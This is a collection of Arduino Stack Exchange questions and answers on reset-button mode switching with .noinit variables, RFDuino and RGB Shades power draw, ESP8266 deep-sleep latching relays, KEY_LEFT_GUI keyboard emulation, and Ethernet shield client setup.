This method leaves all the other reset-circuit stuff (pullup resistor to 5V, capacitor to DTR) in place so that ISP programming would work without change.


body:
If you just want the reset button to change the program mode, the
simplest thing would be to let the button reset the Arduino and switch
modes each time your program restarts. Then you do not need to change
the fuses or get a high voltage programmer. The code would look like
this:

<!-- language-all: lang-c++ -->

    void setup()
    {
        // At startup, switch to the next mode.
        if (++mode >= NUMBER_OF_MODES) mode = 0;

        // etc...
    }

There is just a small issue here: when the program starts, all the
global variables (like `mode` above) are supposed to be initialized by
the C runtime. This can be avoided by using a non-standard feature of
gcc: if you request the variable to be stored in the special `.noinit`
section, then it will not be initialized. Here is the program I used to
test this idea:

    const unsigned int NUMBER_OF_MODES = 5;

    __attribute__((section(".noinit"))) unsigned int mode;

    void setup()
    {
        // At startup, switch to the next mode.
        if (++mode >= NUMBER_OF_MODES) mode = 0;

        Serial.begin(9600);
        Serial.print("Current mode: ");
        Serial.println(mode);
    }

    void loop() {}

Now, each time I press the reset button, it goes to the next mode among
(0, 1, 2, 3, 4). The main drawback compared to using a regular input is
the delay added by the bootloader, which is slightly more than one
second.

A word about the cold boot initialization: the RAM is not initialized
by the hardware and contains essentially random bits. This means you
cannot count on `mode` having initially a valid value. This is why:

* I am testing for `++mode >= NUMBER_OF_MODES` rather than
  `++mode == NUMBER_OF_MODES`, as the initial mode could be way larger
  than `NUMBER_OF_MODES`
* `mode` is an unsigned integer, otherwise I would need to also test for
  it being negative.


body:
The other answers weren't working for me (on an ATmega168), but I found [this solution](https://forum.arduino.cc/index.php?topic=56809.msg411077#msg411077):

<!-- language: lang-c++ -->

    const unsigned int NUMBER_OF_MODES = 5;
    int * mode;

    void setup() {
        mode = (int *) malloc (sizeof (int));

        // At startup, switch to the next mode.
        if (++(*mode) >= NUMBER_OF_MODES) (*mode) = 0;

        Serial.begin(9600);
        Serial.print("Current mode: ");
        Serial.println((*mode));
    }

output:

    Current mode: 0
    Current mode: 1
    Current mode: 2
    Current mode: 3
    Current mode: 4
    Current mode: 0


message:
Power issues with RFDuino

I am new to hardware, I have always used plug and play shields to accomplish simple projects. A while back I purchased [RGB LED Shutter Shades from Macetech][1]. I got the hacker version thinking I would add a [RFDuino][2] and use that to power the glasses and receive commands from my iPhone. I found out that the glasses needed 5v and the RFDuino could only do 3V. So i used a [Sainsmart Nano v3][3] to control the LED's and I added a RFDunio to receive commands from my iPhone, the RFDuino is powered by the Nano.

The issue I am having is that when Im using an external battery pack, the kind you use to charge your phone, I'm guessing the power is not consistent enough and the RFDuino drops its connection to my phone. When I run the glasses using my computers USB port I do not have that problem.

My question: Is there something I can add to my circuit to make this inconsistency with my power stop happening?

  [1]: http://macetech.com/store/index.php?main_page=product_info&cPath=14&products_id=59&zenid=2567bcc75d31fd0e32fecf96fbfa2523
  [2]: http://www.rfduino.com/product/rfd22102-rfduino-dip/index.html
  [3]: http://www.sainsmart.com/sainsmart-nano-v3-atmega328-for-arduino.html

body:
Wireless modules usually draw bursts of big currents in small amounts of time. For example ~1000mA for 1 uS (microseconds). Their overall power consumption can be low, however.

Perhaps, your external battery pack has a low current output which can not supply the burst current that RF module needs, but your PC is sufficient enough.

I would suggest adding capacitors (their size and amount depends, but put some big ones like 10000 uF in parallel and observe) so the burst current is compensated from the capacitors.

Make sure that those battery packs have enough current (hence, power) to power your RF module.

You can always use high rated battery packs such as LiPo's used in RC planes/copters, but be aware, they react badly when shorted so it may not be a good idea to use those batteries on your glasses...


body:
I am the designer of the RGB Shades and co-own macetech LLC. The RFDuino specifications claim only 18mA on transmit and receive, so there should not be a current draw issue from that module.

Known power issues with the RGB Shades include high current draw on startup. They can pulse about 1.3 amps (the blue flash) before your software sets them to a more reasonable level. Most USB power packs made today can handle 1.0 amps, some can supply more, but it's still common to find packs limited to 500mA...that would be one thing to check.

Since you are using your own code, please also note that our default code on the controller-included RGB Shades sets the maximum brightness to about one-quarter the actual maximum brightness of the LEDs. This is done to conserve power as well as reduce brightness to non-blinding levels. If your code is attempting to operate at normal brightness, please be aware the RGB Shades could draw up to 4 amps.

The best way to detect the problem would be to get a multimeter and compare the supply voltage when connected to your computer and when connected to the USB power pack.


message:
How can I maintain switch state when in sleep mode?

I'm using a esp8266 to build a remote control to power a gas fireplace. I'm using [this guide](https://openhomeautomation.net/esp8266-battery/) to try and maximize battery life.

The concept is the controller uses its built in WiFi to access a RESTful API on a remote server; If the API discovers"1", it should close a switch and the fireplace turns on. If the arduino reads a "0" via the API it opens the switch and the fireplace turns off. After discovery and performing the required action the unit calls **Deepsleep** and shuts off for ten seconds, whereupon it powers up and the cycle repeats itself again.

I just realized that if the controller powers off, I don't know what happens to the switch. If the fireplace was turned on,  what happens when deep sleep starts. Is there a way (special switch?) that maintains its state in deepsleep mode?

body: Yes, there is such 'switch'. You could use **JK Flip-Flop** to hold the last output. JK Flip-Flop has `J`, `K` and `clock` inputs and **If J and K are different** then the output takes the value of J at the next clock edge.


body:
You can get a *latching relay*. These come in two flavours - *Unipolar,* where you energise one pin to turn it on, and energise the other to turn it off, and *Bipolar,* where the direction of the current through the coil turns on or turns off.

Unipolar is easier to drive since you just need two transistors, diodes and resistors. Bipolar is harder, since you need a H-bridge (motor driver), but requires less wires to connect it up (2 as opposed to 3).

In both cases it is just a short pulse that is needed to switch the relay into a different state - there is no need to maintain the output, so is ideal for *deep-sleep* mode where everything is turned off except the RTC.


body:
During my Deep Sleep experiments I noticed that a couple of pins held their state through a Deep Sleep reset, but I didn't write it down anywhere.  Simple observation suggests that **any** of the pins that wiggle during boot will NOT be retained, which leaves just GPIO4 and GPIO5 for likely candidates.  Try it and see!

During Deep Sleep the pins hold their state, although they're using weak FETs equivalent to 2uA source/sink current.  The boot cycle following Sleep clobbers most of the GPIOs.  Sigh.


message:
Which key is KEY_LEFT_GUI?

This might be a very simple question but I don't know which key represents KEY_LEFT_GUI on my keyboard. I thought it was the windows key but when I program Arduino Micro to execute it. Run does not open and it prints powershell on the "Search Programs and Files" section in Windows7 VM.

      Keyboard.press(KEY_LEFT_GUI);
      delay(1000);
      Keyboard.press('r');
      delay(1000);
      Keyboard.releaseAll();

      delay(500);

      Keyboard.print("powershell");
      typeKey(KEY_RETURN);

body: KEY_LEFT_GUI is the left Windows key. I think the problem may be that your code is only holding those keys down for microseconds. You need to give the computer a little bit of time to recognize the keypresses because it's expecting a human using a keyboard, not a microcontroller running at 16MHz. Try adding a delay before `Keyboard.releaseAll();`.


body:
I know it's a late answer, but you can use to open the run window:

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(114);
  Keyboard.releaseAll();

And yes, as per1234 says, KEY_LEFT_GUI is the left windows key


message:
Cannot run arduino as web client

I have ethernet shield mounted on arduino mega, I am able to run it as server but when i try to run it as client it doesnt work , most of the time it assigns itself `255.255.255.255` ip address which i get to know as i am printing from my sketch using `Ethernet.localIP()`  it sometimes randomly works but then it does nt establish connection with server, I have double checked there is no firewall on my router that can block arduino ethernet web client.

    #include "Ethernet.h"
    #include <SPI.h>
    #include<dht.h>
    dht DHT;

    #define DHT11_PIN 8

    double tempInC;
    int humidity;

    byte mac[] = {
      0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED
    };
    //IPAddress ip(192, 168, 1, 177);

    // Set the static IP address to use if the DHCP fails to assign
    IPAddress ip(192,168,1,177);

    byte subnet[] = { 255, 255, 255, 0 }; //assigning subnet mask
    byte gateway[] = { 192, 168, 1, 1 }; //assigning gateway

    EthernetClient client;
    char server[] = "192.168.1.3"; // IP Adres (or name) of server to dump data to

    String data;

    void setup() {
      Serial.begin(9600);

      while (!Serial) {
        ; //wait for serial port to connect. Needed for native USB port only
      }
      Ethernet.begin(mac, ip, gateway, subnet);

      Serial.print(F("connected. My IP is "));
      Serial.println(Ethernet.localIP());
      // give the Ethernet shield a second to initialize:
      delay(1000);
      data = "";
    }

    void loop() {
      int chk = DHT.read11(DHT11_PIN);
      delay(200);
      tempInC = DHT.temperature;
      humidity = DHT.humidity;
      Serial.print("Temp: ");
      Serial.print(tempInC);
      Serial.print(" Humidity: ");
      Serial.println(humidity);
      if (client.connect(server, 80)) {

        // Make a HTTP request:
        client.print(F("GET /arduino/add.php?temp1="));
        client.print(tempInC);
        client.print(F("&hum1="));
        client.print(humidity);
        client.println(F(" HTTP/1.1"));
        client.print(F("Host: "));
        client.println(server);
        client.println(F("Connection: close"));
        client.println();

      }
      else {
        Serial.println(F("connection failed"));
      }

      // if there are incoming bytes available
      // from the server, read them and print them:
      if (client.available()) {
        char c = client.read();
        Serial.print(c);
      }
      else {
        Serial.println("Client not available");
      }
      if (client.connected()) {
        client.stop(); // DISCONNECT FROM THE SERVER
      }
      //  delay(60000); // WAIT FOR A MINUTE BEFORE SENDING AGAIN
      delay(10000);
    }

Here is the output of what I get from above sketch

    connected. My IP is 255.255.255.255
    Temp: 26.00 Humidity: 63
    connection failed
    Client not available

Even when it gets correct IP assigned which I am setting up in the sketch the connection to server fails.
I am very upset not being able to run client. Please help.

body:
I don't *know* what the problem is, but I can see some issues with your code.  Perhaps fixing them will make it work, or at least get you closer.

Reading between the lines in your code, it looks like you are expecting an IP address from DHCP.  You won't get that, according to [the documentation][1] because you are specifying one.  Just so that you know.

You're calling the four-parameter version of `Ethernet.begin()` but using an invalid set of parameters.  You're probably meaning to use one of [these][2]:

    Ethernet.begin(mac, ip, dns, gateway);
    Ethernet.begin(mac, ip, dns, gateway, subnet);
or if you want to use DHCP (which I'd recommend, if you can, because managing them yourself is a pain), just use

    int success == Ethernet.begin(mac);
    if (success) { /* it worked */ }

Lastly -- and this is a guess --  I wonder if adding a `delay(1000)` after `Ethernet.begin()` would change the behaviour.  It's not really a solution, but it might help you debug.

  [1]: https://www.arduino.cc/en/Reference/Ethernet
  [2]: https://www.arduino.cc/en/Reference/EthernetBegin


body:
This could be an SD card SPI bus issue.

Note that because the W5100 and SD card share the SPI bus, only one can be active at a time. If you are
using both peripherals in your program, this should be taken care of by the corresponding libraries. If
you're not using one of the peripherals in your program, however, you'll need to explicitly deselect it. To do
this with the SD card, set pin 4 as an output and write a high to it. For the W5100, set digital pin 10 as a
high output.

> [Check the Arduino shield datasheet.][1]

Changing pin mode:

    pinMode(4, OUTPUT);
    digitalWrite(4, HIGH);

  [1]: http://www.mouser.com/catalog/specsheets/A000056_DATASHEET.pdf